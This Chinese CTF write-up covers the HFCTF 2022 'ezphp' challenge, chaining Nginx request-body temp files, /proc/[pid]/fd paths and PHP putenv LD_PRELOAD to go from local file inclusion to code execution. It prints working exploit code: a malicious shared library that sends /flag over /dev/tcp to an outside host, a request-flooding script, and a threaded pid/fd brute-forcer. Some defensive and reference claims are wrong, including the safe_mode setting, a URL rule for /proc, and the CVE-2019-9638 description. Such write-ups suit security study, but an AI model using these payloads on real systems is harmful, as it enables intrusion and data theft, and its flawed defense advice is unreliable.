从一道题看LFI与RCE
字数 1394 2025-08-29 08:32:00
Nginx临时文件利用:从LFI到RCE的深入分析
1. 漏洞背景与原理
本技术文档基于HFCTF 2022的ezphp题目,探讨如何利用Nginx处理大请求体时产生的临时文件实现从本地文件包含(LFI)到远程代码执行(RCE)的转换。
1.1 核心漏洞点
- Nginx临时文件机制:当Nginx接收的FastCGI响应过大或请求体过大时,会将内容缓存到临时文件
- 文件描述符保留:Nginx创建临时文件后会立即删除(unlink),但仍保留文件描述符(fd)
- PHP包含特性:PHP在处理包含路径时会对/proc/[pid]/fd/[fd]这样的软链接进行解析
1.2 相关配置参数
client_body_buffer_size:控制Nginx读取客户端请求体的缓冲区大小- 默认值:8K (x86/32位平台) 或 16K (64位平台)
- 当请求体超过此大小时,Nginx会将内容写入临时文件
2. 技术细节分析
2.1 Nginx临时文件处理机制
Nginx通过ngx_open_tempfile函数创建临时文件:
ngx_fd_t ngx_open_tempfile(u_char *name, ngx_uint_t persistent, ngx_uint_t access) {
ngx_fd_t fd;
fd = open((const char *)name, O_CREAT|O_EXCL|O_RDWR, access ? access : 0600);
if (fd != -1 && !persistent) {
(void)unlink((const char *)name);
}
return fd;
}
关键行为:
- 使用
O_EXCL标志创建文件确保唯一性 - 立即调用
unlink删除文件(除非指定persistent) - 返回文件描述符供后续使用
2.2 临时文件特征
- 存储路径:
/var/lib/nginx/body/000000xxxx - 文件名格式:10位数字,左侧补零
- 文件权限:0600(仅所有者可读写)
2.3 /proc文件系统特性
在Linux系统中,即使文件被删除,只要进程保持文件描述符打开:
/proc/[pid]/fd/[fd]仍可访问文件内容- 显示为
/path/to/file (deleted)的软链接
3. 利用方法
3.1 整体利用流程
- 触发临时文件创建:发送超大请求体,迫使Nginx创建临时文件
- 保持文件描述符:Nginx删除文件但保留fd
- LD_PRELOAD注入:通过PHP的
putenv设置LD_PRELOAD环境变量 - 包含/proc文件:利用PHP包含
/proc/[nginx-pid]/fd/[fd]执行恶意代码
3.2 具体步骤
步骤1:准备恶意.so文件
编写恶意共享库,利用__attribute__((constructor))实现自动执行:
#include <stdlib.h>
#include <string.h>
__attribute__((constructor)) void call() {
unsetenv("LD_PRELOAD");
char str[65536];
system("bash -c 'cat /flag' > /dev/tcp/ip/port");
system("cat /flag > /var/www/html/flag");
}
编译:
gcc test.c -fPIC -shared -o libsss.so
步骤2:触发临时文件创建
使用Python脚本持续发送大请求:
import requests
URL = 'http://target'
with open('libsss.so', 'rb') as f:
payload = f.read() + (16 * 1024 * 'A').encode()
while True:
requests.get(URL, data=payload)
步骤3:爆破/proc文件
import requests
import threading
SERVER = "http://target"
nginx_pids = range(10, 20) # 常见的Nginx worker进程PID范围
def read_file(pid, fd):
path = f"/proc/{pid}/fd/{fd}"
try:
r = requests.get(SERVER, params={'env': f'LD_PRELOAD={path}'})
if 'HFCTF' in r.text:
print("[+] Found flag:", r.text)
except:
pass
for pid in nginx_pids:
for fd in range(4, 32): # 常见的文件描述符范围
threading.Thread(target=read_file, args=(pid, fd)).start()
3.3 优化技术
- 多进程/多线程:并行发送请求和爆破提高成功率
- 路径随机化:增加随机路径组件绕过可能的限制
- PID预测:通过观察Nginx worker进程的常见PID范围缩小爆破范围
4. 防御措施
- 限制请求体大小:
client_max_body_size 1M; - 禁用危险函数:
disable_functions = putenv, system, exec, etc. - 限制环境变量操作:
safe_mode = On - 隔离/proc访问:
location ~ ^/proc/ { deny all; }
5. 相关CVE
- CVE-2019-11043:与Nginx+PHP-FPM相关的漏洞
- CVE-2019-9638:PHP的include_once竞争条件漏洞
6. 总结
这种利用方式展示了如何将:
- Nginx的临时文件处理机制
- Linux的/proc文件系统特性
- PHP的环境变量和包含功能
结合起来实现从简单的LFI到完全的RCE。关键在于理解各组件之间的交互和竞争条件,以及如何利用系统特性维持对"已删除"文件的访问。